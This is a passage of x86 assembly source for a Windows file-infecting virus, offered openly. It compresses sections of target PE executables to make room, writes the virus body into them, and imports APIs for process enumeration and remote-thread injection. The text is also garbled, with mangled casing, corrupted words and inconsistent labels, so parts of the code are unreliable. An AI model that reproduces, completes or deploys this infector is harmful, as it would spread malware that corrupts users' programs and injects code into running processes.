EAX JZ LB_MAPVIEWOFFILEFAIL Push Eax; Initialize Lpfilemapping push 0 push dword ptr [ebp] [hFileHandle] call [ebx] [lpfnGetFileSize- @ X] cmp eax, -1; Is the return value INVALID_FILE_SIZE ?? jz lb_StopInfecting cmp eax, 12 * 1024 jb lb_StopInfecting push eax; Initialize dwTotalFileSize MOV EAX, [EBP] [LPFILEMAPPING] CMP Word PTR [EAX], 'ZM' JNZ LB_STOPINFECTING MOV ECX, [EAX 0000003CH]; Maybe the file is not a pe file. so you must CMP ECX, [EBP] [DWTOTALFILESIZE]; ENSURE The 003ch Offset is in the range of jae lb_stopinfecting; the file. Lea EDI, [EAX ECX] Push Edi; Initialize LPNTHEADERS CMP DWORD PTR [EDI], 00004550H jnz lb_stopinfecting mov ecx, [edi 00000028h] lea edx, [eax ecx] cmp [edx], dword ptr 00EC8160h jz lb_StopInfectingxor ecx, ecx push ecx; Initialize ulInformation push ecx; The end flag mov [ebp] [CompressionInfoAA off_pSection], ECX MOV [EBP] [CompressionInfobb Off_PSECTION], ECX Movzx ECX, Word PTR [EDI 00000006H] MOV [EBP] [I], ECX Lea ESI, [EDI 000000F8H] LP_FindCodeAndDataSECTION: mov ecx, [esi 00000010h] cmp ecx, 00001000h jb lb_TryNextSection mov eax, [esi 00000024h] cmp eax, 0C0000040h jz lb_DataSectionFound cmp eax, 60000020h jz lb_CodeSectionFound jmp lb_TryNextSection LB_DASECTIONFOUND: Call CheckreferenceSecion JC LB_TRYNEXTSECTION MOV [EBP] [CompressionInfobb Off_PSECTION], ESI JMP LB_TRYNEXTSECTION LB_CODeSECTIONFound: Call CheckreferenceSecion JC LB_TRYNEXTSECTION MOV [EBP] [CompressionInfoA Off_PSECTION], ESI LB_TRYNEXTSECTION: Add ESI, SIZE_OF_IMAGE_SECTION_HEADER DEC DWORD PTR [EBP] [i] JNZ LP_FINDCODEANDATASECTION lea esi, [ebp] [CompressionInfoAA] mov ecx, [esi] lea eax, [ebx] [lpBufferForDataCompressed] mov [esi] [off_pCompressedDataBuffer], eax mov [esi-DWORDSofCompressionInfo * 4] [off_pCompressedDataBuffer], eax jecxz lb_NoCodeSectionCanBeUsed Call compresspesection; compress the code section cmp ECX, Virus_physical_size jae lb_onlycodesectioncompressed Add [ESI] [Off_PCompRessedDataBuffer], Eax Add [ESI-DWORDSOFCOMPRESSIONFO * 4] [OFF_PCompRESSEDDATABUFER], EAX; Adjust The Pointer LB_nocodeesectioncanbeuse: Lea ESI, [EBP] [CompressionInfobb] CMP DWORD PTR [ESI], 0 jz lb_stopinfecting ; Add [esi] [off_pCompressedDataBuffer], eax call CompressPeSection cmp ecx, VIRUS_PHYSICAL_SIZE lea esi, [ebp] [CompressionInfoAA] jae lb_OnlyDataSectionCompressedcmp dword ptr [esi], 0 jz lb_StopInfecting OR DWORD PTR [EBP] [ULINFORMATION], FLAG_USE_TWO_SECTIONS CMP [ESI] [OFF_ULNUMFREEBYTES], EAX JAE LB_NONAME1 CMP ECX, [ESI] [OFF_ULNUSEDBYTES] JB LB_STOPINFECTING OR [EBP] [ULINFORMATION], DWORD PTR FLAG_IN_DATA_SECTION lb_noname1: MOV [EBX] [jumpoffset- @ x], byte PTR 0 JMP LB_CompRESSIONCOMPLETED lb_OnlyDataSectionCompressed: or [ebp] [ulInformation], dword ptr FLAG_IN_DATA_SECTIONlb_OnlyCodeSectionCompressed: mov [ebx] [JumpOffset- @ X], byte ptr (lb_NoSecondCompressedSection - NextStatement) *********************************************************** *********** * * *; * my infection algorithm: *; * 1) Try to find two sections which area not refered by any data *; * Directory In the pe file. *; * 2) compress a part of the data of the section. The max size of *; * the data to be commitressed is 16k. because my compression *; * algorithm is not so perfect, the processing time Will be *; *; *; * other, move, movie ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, Compressed Data in One Section To Anther *; * And Just Place The Virus Code in The section *; *; ********************************* **************************** **************** 1. Two Sections & In Code Section ;; CODE_SEG DATA_SEG; _______ _______; | | | | | | | | | | | | | | | | | c | | | | | _______ | ;;; 2. Two Sections & in Data Section ;; Data_SEG CODE_SEG; _______ _______; | | | | | | | | | | | D | | | _______ | ;; 3. One Sections & IN Code Section ;; Code_SEG; _______; | |; |; ;;;;;;;;;;;; 4. One sections & in data step ;; Data_Seg; _______; | |; | d |; | _______ |; | |;; mov eax, [ebp] [ulInformation]; lea esi, [ebp] [CompressionInfoAA] cmp eax, dword ptr (FLAG_USE_TWO_SECTIONS); If in code section and use two sections jz lb_ExchangeCompressionInformation cmp eax, dword ptr (FLAG_IN_DATA_SECTION);? If in Data section and use one section? jz lb_exchangecompressioninformation JMP LB_SAVEParameters LB_EXCHANGECMPRESSIONFORMATION: Push DWordsofcompressionInfo Pop Ecx Lea EDI, [EBP] [CompressionInfobb] LP_EXCHANGEDATA: XCHG EAX, [EDI] XCHG EAX, [EDI] [DWORDSOFCompressionInfo * 4] XCHG EAX, [EDI] Add Edi, 4 LOOP LP_EXCHANGEDATA Lea ESI, [EBP] [CompressionInfobb] lb_saveparameters: Lea ESI, [EBP] [CompressionInfoaa] MOV EDX, [ESI] [Off_PSECTION] Lea EDI, [EBX] [DecompressionParametersa- @ x] xor Eax, Eax Lea ECX, [EAX 1] TEST [EBP] [ULINFORMATION], DWORD PTR FLAG_USE_TWO_SECTIONS JZ LB_REMAINCOUNTERTO1 INC ECX MOV EDX, [EBP] [CompressionInfobb Off_PSECTION] LB_RemainCounTerto1: MOV [EBP] [PsectionOforiginalDataAndcode], EDX LP_SAVEFILEWRITIInformation: Push DWORD PTR [ESI] [OFF_ULNUSEDBYTES] PUSH DWORD PTR [ESI] [OFF_PCompRESSEDDATABUFFER] PUSH ECX MOV ECX, [ESI] MOV [EDI], ECX; Total Number of Bits; MOV ECX, [ESI] [OFF_PSECTION] MOV ECX, [EBP] [PsectionOforiginalDataAndcode] MOV EDX, [ECX 0000000CH] Add Edx, eax mov [edi 00000004h], edx; Source data address for decompression mov edx, [ecx 00000014h] mov ecx, [esi] [off_OriginalVirtualAddress] mov [edi 00000008h], ecx add edx, eax; File offset where the compressed Data will be stored. POP ECX PUSH EDX ADD EAX, [ESI] [Off_ulnumusedBytes] Add EDI, 0000000CH SUB ESI, DWORDSOFCOMPILEWRITINGINFORMATION Lea ESI, [EBP COMPRESSIONFOAA] [OFF_PSECTION]; MOV EDI, [ESI] [OFF_PSECTION] MOV EDI, [EBP COMPRESSIONFOA] [OFF_PSECTION] MOV EDX, [EDI 00000014H] MOV ECX, [EDI 0000000CH] TEST [EBP] [ULINFORMATION], DWORD PTR FLAG_USE_TWO_SECTIONS JNZ LB_NONAME3 Add Edx, Eax Add ECX, EAX lb_noname3: MOV [EBP] [ULADDRESSOFVCODE], ECX Push Virus_Physical_Size Lea ECX, [EBX] [BaseOfviruscode- @ x] Push ECX PUSH EDX Mov Edi, [EBP] [LPNTHEADERS] Mov Eax, [EDI 00000080H] Call RvaAddressTofileMappingAddress Xchg ESI, EAX LB_LoopoffindImportDescriptorofkernel32: Push ESI CALL IAALLZERO JZ LB_STOPINFECTING; ALL IMPORT DESCRIPIPTOR HAVEEN RETRIEVED,; But Kernel32 Is Not Found. so we stay do not nothing; but we shop do not nothing; button Mov Eax, [ESI 0000000CH] Call RvaAddressTofileMappingAddress Xchg Eax, EDI Push ESI LEA ESI, [EBX] [NameOfkernel32- @ x] call strcmpi pop esi jz lb_kernel32isfound add esi, size_of_import_descriptor jmp lb_loopoffindimportdescriptorofkernel32 LB_kernel32isfound: MOV EAX, [ESI 00000010h]; ; MOV ESI, [EBP] [PDATASECTION]; Push Virus_Physical_Size; Lea ECX, [EBX] [BaseOfviruscode- @ x]; Push Ecx; Mov Eax, [EBP] [uLaddressofvcode]; Call RatofilePointer; Push Eax mov edi, [ebp] [lpNtHeaders]; Lea ECX, [EDI 00000064H] MOV EAX, Virus_Booting_Size CMP [ECX], EAX JAE LB_NOTENLARGESIZEOFSTACKCOMMITSIZE ADD [ECX], EAXLB_NOTENLARGESIZEOFSTACKCOMMITSIZE: lb_loopofwritetargetfile: POP EAX Test Eax, EAX JZ LB_INFECTIONCOMPLETED Add Eax, [EBP] [lpfilemapping] XCHG EDI, EAX POP ESI POP ECX CLD Rep MOVSB JMP LB_LOOPOFWRITETARGETFILE LB_INFECTIONCOMPLETED: LB_Stopinfecting: Push DWORD PTR [EBP] [lpfilemapping] call [ebx] [lpfnunmapviewoffile- @ x] LB_MapViewOffilefail: Push DWORD PTR [EBP] [HFILEHANDLE] CALL [EBX] [lpfnclosehandle- @ x] LB_createfilemappingfail: Push DWORD PTR [EBP] [HFileMappingHandle] Call [EBX] [lpfnclosehandle- @ x] LB_FileOpenFail: lb_exitinfectpefile: MOV BYTE PTR [EBX] [ISBUSY- @ x], 0 lb_isbusynow: MOV ESP, EBP POP EBP RET *********************************************************** *********** * *; * compresspesection () *; * *; * remarks: *; * process the specified section to make preparations for *; * Furher Infections. *; *; * [ESI] *; * Point to the start address of the buffer containing the *; * parameters about data compression. *; *; * return value: *; * [ECX] *; *; * [Eax] *; * have been compressed to. *; * [Eax] *; * have been compressed to. *; * *; ************************************************************ ********************** Compresspesection: pop dword ptr [ebx] [ReteunFromCompressPeSection- @ X] mov edi, [esi] [off_pSection] mov ecx, [edi 0000000Ch] mov [esi] [off_OriginalVirtualAddress], ecx mov ecx, [edi 00000010h] mov edx, MAX_SIZE_TO_COMPRESS CMP ECX, EDX JBE LB_USESIZEOFRAWDATA MOV ECX, EDXLB_USESIZEOFRAWDATA: Lea Edx, [ESI] [OFF_ULNUMTOTAlbits] and [EDX], DWORD PTR 0 MOV Eax, [EDI 00000014h] Add Eax, [EBP] [lpfilemapping] Push Edx Push DWORD PTR [ESI] [OFF_PCompRESSEDDATABUFFER] PUSH ECX PUSH EAX CALL LZ77COMPRESS Mov Eax, [EDX] Test Eax, EAX JZ LB_STOPINFECTICTING ADD EAX, 7 Shr Eax, 3 SUB ECX, EAX JB LB_STOPINFECTING MOV [ESI] [OFF_ULNUSEDBYTES], EAX MOV [ESI] [OFF_ULNUMFREEBYTES], ECX Push 'Hold'ReteunFromCompresspesection = $ -4 Ret *********************************************************** ********************; * *; * isrvainsection () *; * *; * remarks: *; * check if the rva is in the specified section * ; * *; * Parameters: *; * [eax] *; * the rva heich will be checked. *; * [Esi] *; * point to the section *; * *; * return value: *; * The rva is in the section, Both CF AN Di ZF Are Cleared. *; * if not, either cf or zf is set. *; * *; ********************************** ******************************************************************************* isrvainsection:; {Push Edx Mov Edx , [ESI 10000CH] CMP EAX, EDX JB LB_RVANOTITINTHESECTION ADD EDX, [ESI 00000010H] CMP EDX, EAX JBE LB_RVANOTINTHESECTIONPOP EDX RET LB_RVANOTINTHESECTION: POP edx ret; *********************************************************** ********************; * *; * checkreference () *; * *; * remarks: *; * check if the section is refered by one or more data *; * Directories. IT cannot be used *; * to write the virus code. *; * *; * Parameters: *; * [eSI] *; * point to the section Which Will Be Checked. *; * *; * Return value: *; * if the section is referge, cf is set. *; * *; ******************************************************************** ****************************************** CheckReference: Push ECX Mov Edx, [EBP] [LPNTHEADERS] MOVZX ECX, WORD PTR [EDX 00000006H] Add Edx, 00000078H LP_CHECKALLDATADIRECTORY: MOV EAX, [EDX]; Image_export_Directory Call Isrvainsection Jnbe LB_SECTIONISREFERRED Add Edx, 8 Loop LP_CHECKALDATADIRECTORY POP ECX CLC; Not Referred Ret LB_SECTIONISREFERRED: POP ECX STC; Referred Ret *********************************************************** ********************; * *; * getProcedureaddress () *; * *; * remarks: *; * get the entry address of the specified API Function from * *; *; *; *; * Function name whose address we want to get. *; * Eax: the Image base of the dll from Which the API function *; * is exported. *; * ESI: Pointer to a image_export_directory structure which *; * contains the export information. **; *; ***********************************************************************************************************************************TION ************************************************************** GetProcedureaddress: MOV ECX, [ ESI 00000018H] MOV EDX, [ESI 00000020H] Add Edx, Eax PUSH ESI LP_FindMatchProcedureName: Mov ESI, [EDX] Add ESI, EAX CALL STRCMPI JZ LB_MATCHEDPROCEDURENAMEFOUND Add Edx, 4 LOOP LP_FINDMATCHEDPROCEDURENAME XOR EAX, Eax Pop ESI RETLB_MATCHEDPROCEDURENAMEFOUND: POP ESI SUB EDX, [ESI 00000020H]; Sub EDX, EAX MOV ECX, [ESI 0000001CH]; Add ECX, Eax Add ECX, EDX Add Eax, [ECX] RET EXTERN "C"; void __declspec (naked) WinAPI; lz77compress (; puchar __pdatabuffer ,; ulong __uldatalength ,; puChar __poutputbuffer ,; pulong __pulnumberofbits;); // { *********************************************************** ********************; * *; * LZ77ComPress () *; * [param1] *; * [param2] *; * [param3] *; * [ PARAM4] *; * *; * remarks: *; * Decompress the data. *; * *; * Parameters: *; * [param1] *; * point to the buffer containing the data tria Will be *; * compressed. *; * [Param2] *; * the total bytes of the data tria will be compressed *; * [param3] *; * point to the buffer where the data will be store *; * compression. *; * [Param4] *; * Point to the variable thing will save the number of bits of *; * the data after compression *; * *; * return value: *; * *; ******************************************************** ********************** BASE_OFFSET = (36) PDATABUFFER = (Base_offset) uldatalength = (Base_Offset 4) PoutputBuffer = (Base_offset 8) Pulnumberofbits = (Base_offset 12) islidewindowptr = (-4) ulbytescoded = (-8) ulbytesdecoded = (-8) ulLength = (-12) uloffset = (-16) PSLIDEWINDOWPTR = (-20) LZ77ComPress: Pushad MoV EBP, ESP XOR EBX, EBX; Intialize UlbitOffset Mov ESI, [EBP] [PDATABUFFER]; Initialize PuncodedDataPtr Mov EDI, [EBP] [PoutputBuffer] Push -max_wnd_size; Initialize Islidewindowptr Push 0; Initialzie Ulbytescoded Sub ESP, 3 * 4 LP_CompRessDataWithlz77: MOV EDX, [EBP] [Ulbytescoded] CMP EDX, 00001000H JB LB_NOTASSUMEDATACPRESSIBILITY MOV ECX, EBX; after max_wnd_size bytes Data Have Been SHR ECX, 3; Compressed, We Should Assute THE CMP ECX, EDX; Compressibility of The Data. Jbe LB_DatacompressionIbilityInstillGOOD; XOR EBX, EBX JMP LB_EXITLZ77COMPRESS lb_NotAssumeDataCompressibility: lb_DataCompressibilityIsStillGood:; mov eax, [ebp] [ulBytesCoded]; cmp eax, [ebp] [ulDataLength] mov eax, [ebp] [ulDataLength] sub eax, [ebp] [ulBytesCoded] jbe lb_AllBytesCompressed PUSH EAX MOV EAX, [EBP] [Islidewindowptr] MOV EDX, [EBP] [PDATABUFFER]; EDX HOLDS PSLIDEWINDOWPTR MOV ECX, MAX_WND_SIZE; ECX Holds UlmaxStringLENGTH CMP EAX, 0 JL LB_L01_1 Add EDX, EAX JMP LB_L01_3LB_L01_1: CMP EAX, -MAX_WND_SIZE JL LB_L01_2 Add ECX, EAX JMP LB_L01_3LB_L01_2: XOR ECX, ECX XOR EDX, EDXLB_L01_3: pop eax cmp eax, ecx jae lb_BytesLeftMoreThanMaxWndSize mov ecx, eaxlb_BytesLeftMoreThanMaxWndSize: call FindSubStringWithMaxLengthmov eax, [ebp] [ulLength] cmp eax, 1 jle lb_MatchedStringLengthIsLessThan1 Call write1tobitstream MOV EAX, [EBP] [ULOFSET] MOV ECX, Offset_Coding_length Call WriteBitStObitStream MOV EAX, [EBP] [ULLENGTH] Call Writegolombcode MOV EAX, [EBP] [ULLENGTH] Add ESI, Eax Add [EBP] [IslidewindowPtr], Eax Add [EBP] [ULBYTESCODED], EAX JMP LP_CompRESSDATAWITHLZ77 LB_MATCHEDSTRINGTHISLESSLESSLESSSSSLESSSLESSSLESSSSSSLESSSSLESSSSSLESSSLESSSLESSSSLESSSLESSSSTHAN1: Call Write0TOBITSTREAM Mov Eax, [ESI] Push 8 Pop Ecx Call WriteBitStObitStream INC ESI Inc DWORD PTR [EBP] [Islidewindowptr] inc DWORD PTR [EBP] [ulbytescoded] JMP LP_CompRESSDATAWITHLZ77 LB_AllBytescompressed: LB_EXITLZ77COMPRESS: MOV EAX, [EBP] [Pulnumberofbits] MOV [EAX], EBX MOV ESP, EBP POPAD RET 16 *********************************************************** *******************; * *; * WriteBitStObitStream () *; * *; * remarks: *; * Writing a series of bits to the bit stream. * ; * *; * Parameters: *; * [eDi] *; * Point to the base address of the bit stream. The address is *; * byte-boundary. *; * [Ebx] *; * the offset in the bit Stream where the new bits will *; * be written. *; * [eax] *; * [EcX]: *; *; *; * return value: *; *; ************************************************************************************************************************************************************************************************************************************************************************** ************************ WRITEBITSTOBITSTREAM: LP_LOOPOFWRITINGOFFSET: SHR EAX, 1 JC LB_CURRENTBITIS1 Call Write0TOBITSTREAM JMP LB_WRITENEXTBITBIT lb_currentbitis1: Call write1tobitstream LB_WRITENEXTBIT: LOOP LP_LOOPOFWRITINGOFFSET RET; *************************************************************** **************; * *; * Write1TobitStream () *; * *; * remarks: *; * Writing 1 to the bit stream. * ; * *; * Parameters: *; * [eDi] *; * point to the base address of the bit stream. The *; * address is byte-boundary. *; * [Ebx] *; * the offset in the bit Stream where the data 1 will *; * be written. *; * *; * None. *; * *; ***************************************** ********************************* WRITE1TOBITSTREAM: LB_WRITE1TOBITSTREAM: Push EDX PUSH ECX PUSH EAX MOV EAX, EBX SHR EAX, 3 Add Eax, EDI MOV ECX, EBX AND ECX, 7 Push 1 Pop Edx SHL EDX, CL OR [EAX], DL POP EAX POP ECX POP EDX INC EBX RET *********************************************************** ********************; * *; * WRITE0TOBITSTREAM *; * *; * Remarks: *; * Writing 0 to the bit stream. *; * *; * Parameters: *; * Point to the base address of the bit stream. The address is *; * byte-boundary. *; * [Ebx] *; * the offset in the bit stream where the data 0 Will *; * be written. *; * *; * None. *; * *; ***************************************** ********************************* WRITE0TOBITSTREAM: LB_WRITE0TOBITSTREAM: Push EDX PUSH ECX PUSH EAX MOV EAX, EBX SHR EAX, 3 Add Eax, EDI MOV ECX, EBX AND ECX, 7 Push 1 Pop Edx SHL Edx, Cl NoT Edx And [EAX], DL POP EAX POP ECX POP EDX INC EBX RET *********************************************************** ********************; * *; * CompareSTRINGS () *; * *; * remarks: *; * compare two strings. *; * *; * Parameters *; * [ECX] *; * Point to string1. *; * [EDI] *; * Point to string2. *; * [EcX] *; * the max length of comparative length. *; * *; * None. *; * *; ***************************************** ******************************************************************** Comparestrings:; // {Push ESI Push EDI Lea EAX, [ESI 1]; CLD; Rep CMPSB MOV EAX, ESI LP_CompareStrings: MOV DL, [ESI] CMP DL, [EDI] JNZ LB_STRINGSUNMATCHED INC ESI INC EDI LOOP LP_COMPARESTRINGS lb_stringsunmatch: Sub ESI, ESI ESI, ESI POP EDI POP ESI Ret; //} *********************************************************** ***********; * FINDSUBSTRINGWITHMAXLENGTH () *; * *; * remarks: *; * Find the sub string of string2 with the max length *; * That Matches string1. *; * *; * parameters: *; * [ECX] *; * the max length of string1. *; * [esi] *; * point to string1. *; * [eDi] *; * Point To String2. *; * *; * None. *; * *; ***************************************** ******************************************* FINDSUBSTRINGWITHMAXLENGTH:; // {Push ESI Push EDI XOR EAX, EAX MOV [EBP] [ULLENGTH], EAX; Initailzie Return Value MOV [EBP] [Uloffset], EAX; Initialize Return Value Mov [EBP] [Pslidewindowptr], EDX; Save Pslidewindowptr Mov Edi, EDX Test EDI, EDI JZ LB_EXITFINDLONGESTSUBSTRING JECXZ LB_EXITFINDLONGESTSUBSTRING lb_loopoffindsubstrings: Push ECX CALL CompareStrings Pop ECX CMP EAX, [EBP] [ULLENGTH] JBE LB_SUBSTRINGISNOTTHELONGEST MOV [EBP] [ULLENGTH], EAX MOV EAX, EDI SUB EAX, [EBP] [PSLidewindowptr] MOV [EBP] [ULOFFSET], EAXLB_SUBSTRINGISNOTTHELONGEST: INC EDI LOOP LB_LOOPOFFINDSUBSTRINGS LB_EXITFINDLONGESTSUBSTRING: POP EDI POP ESI RET; //} *********************************************************** ********************; * *; * WritegolombCode () *; * *; * remarks: *; * write the golomb code to the bit stream. *; *; * Parameters: *; * [eax] *; * the value which is to be coded. *; * [Edi] *; * point to start address of the bit stream. *; * [Ebx] *; * The offset in the bit stream where the golomb code *; * will be write. *; * *; * The length of the coding. *; * *; *************************** ************************************************* WRITEGOLOMBCODE: Lea ECX, [EAX-1] SHR ECX, M; Q Mov Edx, ECX PUSH ECX JECXZ LB_QISZERO LP_WRITEQONES: CALL WRITE1TOBITSTREAM LOOP LP_WRITEQONES LB_Qiszero: Call Write0TOBITSTREAMSHL EDX, M; Q << M Sub Eax, EDX; DEC EAX; R = X- (q << m) -1 MOV ECX, 1 LB_LoopofWritInr: SHR EAX, 1 JC LB_CURRENTBITIS1_B Call Write0TOBITSTREAM JMP LB_CURRENTBITIS0_B lb_currentbitis1_b: Call write1tobitstream lb_currentbitis0_b: INC ECX CMP ECX, M JBE LB_LOOPOFWRITINGR POP Eax Add Eax, M 1 RET ; //} EXTERN "C"; void __declspec (naked) WinApi; lz77decompress (; puchar __pdatabuffer ,; ulong __lunumberofbits ,; puChar __poutputbuffer ,; pulong __pulnumberofbytes;); // { *********************************************************** ********************; * *; * LZ77Decompress () *; * [param1] *; * [param2] *; * [param3] *; * [ PARAM4] *; * *; * Remarks: *; * Decompress the data. *; * *; * Parameters: *; * [param1] *; * point to the buffer containing the data tressed. *; * [Param2] *; * [param3] *; * Point to the buffer gate *; * DecompRESSION. *; * [Param4] *; * The number of bytes of the data after decration *; * *; * return value: *; * none. *; * *; ******************************************************** ********************** ULNUMBEROFBITS = (base_offset 4) PoutputBuffer = (Base_offset 8) PulnumberofBytes = (Base_offset 12) LZ77Decompress: Pushad MoV EBP, ESP XOR EBX, EBX; Initialize Bit Offset Mov ESI, [EBP] [PDATABUFFER] MOV EDI, [EBP] [PoutputBuffer] Push -max_wnd_size push 0 Sub ESP, 3 * 4 LB_LZ77Decompress: CMP EBX, [EBP] [ulnumberofbits] jae lb_alldatadecompressed Call ReadbitFromBitStream Test Eax, EAX JZ LB_SINGLECHARACTER MOV EAX, [EBP] [Islidewindowptr] MOV EDX, [EBP] [PoutputBuffer] CMP EAX, 0 JL LB_L2_A Add EDX, EAX JMP LB_L2_BLB_L2_A: CMP EAX, -MAX_WND_SIZE JGE LB_L2_B XOR EDX, EDXLB_L2_B: Push Edx Mov ECX, Offset_Coding_length Call ReadbitsFromBitstream Push Eax Call Readgolombcode Pop Eax Xchg ESI, [ESP] Add ESI, EAX Add [EBP] [Islidewindowptr], ECX Add [EBP] [ULBYTESDECODED], ECX LP_COPYINGSTRING: MOV Al, [ESI] MOV [EDI], Al INC ESI Inc EDI LOOP LP_COPYINGSTRING POP ESI JMP LB_LZ77Decompress LB_singleCharacter: Mov ECX, 8 Call ReadbitsFromBitStream MOV [EDI], Al INC EDI INC DWORD PTR [EBP] [islidewindowptr] inc DWORD PTR [EBP] [ulbytesdecoded] JMP LB_LZ77Decompress lb_alldataDecompressed: MOV EAX, [EBP] [UlbytesDecoded] MOV ECX, [EBP] [PulnumberofBytes] Jecxz LB_NumberofBytesNotRequiredReturned Mov [ECX], EAX LB_NumberofBytesNotRequidReturned: MOV ESP, EBP POPAD RET 16 ReadbitFromBitStream: Push ECX MOV EAX, EBX SHR EAX, 3 Add Eax, ESI MOV ECX, EBX AND ECX, 7 MOV EAX, [EAX] SHR EAX, CL And Eax, 1 POP ECX INC EBX RET ReadbitsFromBitStream: Push Edi Push EDX XOR EDX, EDX XOR EDI, EDI XCHG ECX, EDI LB_Loopofreadbits: Call ReadbitFromBitStream SHL Eax, Cl Or Edx, EAX INC ECX DEC EDI JNZ LB_LOOPOFREADBITS MOV EAX, Edx Pop Edx Pop Edi Ret *********************************************************** ********************; * *; * readgolombcode () *; * *; * remarks: *; * read the golomb code from the bit stream. *; * *; * Parameters: *; * [ESI] *; * point to start address of the bit stream. *; * [Ebx] *; * the offset in the bit stream where the golomb code will *; * be om.com *; * *; * Return Value: *; ****************************************************************************************************** ******************************************* READGOLOMBCODE: XOR EDX, EDX LB_ReadNextBitiL0isfound: Call ReadbitFromBitStream Test Eax, Eax JZ LB_ZEROBITISFOUND INC EDX JMP LB_READNEXTBITUNTIL0ISFound LB_ZEROBITISFOTIND: Push Edx XOR ECX, ECX XOR EDX, EDX lb_loopofdecodingr: Call ReadbitFromBitstream SHL EAX, Cl OR EDX, EAX INC ECX CMP ECX, M JB LB_LOOPOFDECodingrmov ECX, EDX POP EDX SHL EDX, M LEA ECX, [ECX EDX 1] RET ; //} *********************************************************** ***********; * ExceptionHandler:; *; * the exception-handing routine. When Something Unnormal; * Occurs Anyway, The Routine Is Called by The System. WE WILL; * Do Some Processings Here and the quit company version of users ;; * parameters:; *; * fs: [0]: Point the memory unit where the esp register is; * saved. THE; *; * NONE; *; *; *; * none; *; *; *********************************************************** **** ExceptionHandler: IF debug push 0 push offset szerror push offset szexceptioncaused push 0 Call MessageBoxaendif XOR EBX, EBX MOV EAX, FS: [EBX] MOV ESP, [EAX] JMP LB_EXITVIRUSPROGRAM NameOfkernel32 db 'kernel32.dll', 0 IF debug targetprocessname db 'mm.exe', 0ndif DB 'PRCV' DB (Majorversion 00000030H) DB '.' DB (MinorVersion 00000030H) n_GetModuleHandleA db 'GetModuleHandleA', 0n_GetProcAddress db 'GetProcAddress', 0n_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot', 0n_Process32First db 'Process32First', 0n_Process32Next db 'Process32Next', 0n_Module32First db 'Module32First', 0n_Module32Next db 'Module32Next', 0n_CloseHandle db 'CloseHandle', 0n_OpenProcess db 'OpenProcess', 0n_CreateRemoteThread db' CreateRemoteThread ', 0n_VirtualProtectEx db' VirtualProtectEx ', 0n_VirtualAllocEx db' VirtualAllocEx ', 0n_VirtualFreeEx db' VirtualFreeEx ', 0n_WriteProcessMemory db' WriteProcessMemory ', 0n_CreateFileA db' CreateFileA ', 0n_CreateFileW db' CreateFileW ', 0n_CreateFileMapping db' CreateFileMappingW ', 0n_MapViewOfFile db' MapViewOfFile ', 0n_UnmapViewOfFile db' UnmapViewOfFile ', 0n_GetFileAttributes db' GetFileAttributesW ', 0n_SetFileAttributes db' SetFileAttributesW ', 0n_GetFileSize db' GetFileSize ', 0n_MultiByteToWideChar db' MultiByteToWideC har ', 0ife SKIP_CURRENT_PROCESSn_GetCurrentProcessId db' GetCurrentProcessId ', 0endifif ERROR_DIAGNOSEn_GetLastError db' GetLastError ', 0endifif NOT_INFECT_FILESLogFileName db' c: /openlog.txt ', 0endif RelativeBase = @B; import-function string offset tableIfNameTable dd n_GetModuleHandleA - RelativeBase dd n_GetProcAddress - RelativeBase dd n_CreateToolhelp32Snapshot - RelativeBase dd n_Process32First - RelativeBase dd n_Process32Next - RelativeBase dd n_Module32First - RelativeBase dd n_Module32Next - RelativeBase dd n_CloseHandle - RelativeBase dd n_OpenProcess - RelativeBase dd n_CreateRemoteThread - RelativeBase dd n_VirtualProtectEx - RelativeBase dd n_VirtualAllocEx - RelativeBase dd n_VirtualFreeEx - RelativeBase dd n_WriteProcessMemory - RelativeBaseif NOT_INFECT_FILES dd n_CreateFileA - RelativeBaseendif dd n_CreateFileW - RelativeBase dd n_CreateFileMapping - RelativeBase dd n_MapViewOfFile - RelativeBase dd n_UnmapViewOfFile - RelativeBase dd n_GetFileAttributes - RelativeBase dd n_SetFileAttributes - RelativeBase dd n_GetFileSize - Re lativeBase dd n_MultiByteToWideChar - RelativeBaseife SKIP_CURRENT_PROCESS dd n_GetCurrentProcessId - RelativeBaseendifif ERROR_DIAGNOSE dd n_GetLastError - RelativeBaseendif dd 0; 0 meaning the end of the tableIsBusy db 0 CallAddressTable = $ @ X = $ lpfnGetModuleHandleA dd? LpfnGetProcAddress dd? LpfnCreateToolhelp32Snapshot dd? LpfnProcess32First dd? LpfnProcess32Next dd? LpfnModule32First dd? LpfnModule32Next dd? LpfnCloseHandle dd? LpfnOpenProcess dd? LpfnCreateRemoteThread dd? LpfnVirtualProtectEx dd? LpfnVirtualAllocEx dd? LpfnVirtualFreeEx dd? LpfnWriteProcessMemory dd? If NOT_INFECT_FILESlpfnCreateFileA dd endiflpfnCreateFileW dd lpfnCreateFileMappingW dd lpfnMapViewOfFile dd lpfnUnmapViewOfFile dd lpfnGetFileAttributesW dd lpfnSetFileAttributesW dd lpfnGetFileSize dd lpfnMultiByteToWideChar dd ife SKIP_CURRENT_PROCESSlpfnGetCurrentProcessId dd endifif ERROR_DIAGNOSElpfnGetLastError dd endifVIRUS_PHYSICAL_SIZE = $ -??????????? BaseOfVirusCodeVIRUS_VIRTUAL_SIZE = 00001000hVIRUS_ALIGN_SIZE = (VIRUS_VIRTUAL_SIZE MAX_SIZE_COMPRESSED 00000400h) Virus_booting_size = (virus_virtual_size max_size_compressed) DynamicDataArea = $ ReturnValueFromRemoteProcess dd? DwOldProtect dd? ProcessEntry32 = $ pe_dwSize = ProcessEntry32 0000h pe_th32ProcessID = ProcessEntry32 0008h pe_szExeFile = ProcessEntry32 0024h Ife NOT_INFECT_FILESMODULEENTRY32 = $ ELSEModuleEntry32 = $ 00000128hendif Me_dwsize = moduleentry32 0000h me_modbaseaddr = modulentry32 0014H Padding_data_length = (Virus_Align_size - ($ - BaseofViruscode)) PaddingData DB (Padding_Data_length) DUP (0) ; _______________________________________________ ___; | (0x0000) | |; | | |; | Virus Code | | 00001000h; | | |; | _______________________________________________ | _ | _; | (0x1000) | |; | | |; | Buffer For Data Compressed | | 00004000h; | | |; | | |; | | |; | | |; | | |; | _______________________________________________ | _ | _DOS_HAEDER_SIZE = 00000040hSIZE_OF_IMPORT_DESCRIPTOR = 00000014hSIZE_OF_IMAGE_SECTION_HEADER = 00000028hMAX_SIZE_TO_COMPRESS = 00004000hMAX_SIZE_COMPRESSED = 00004000h Delta_x = baseofviruscode - @xlpbufferfordatacompressed = delta_x 00001000H Virsegment ends End Virtualentry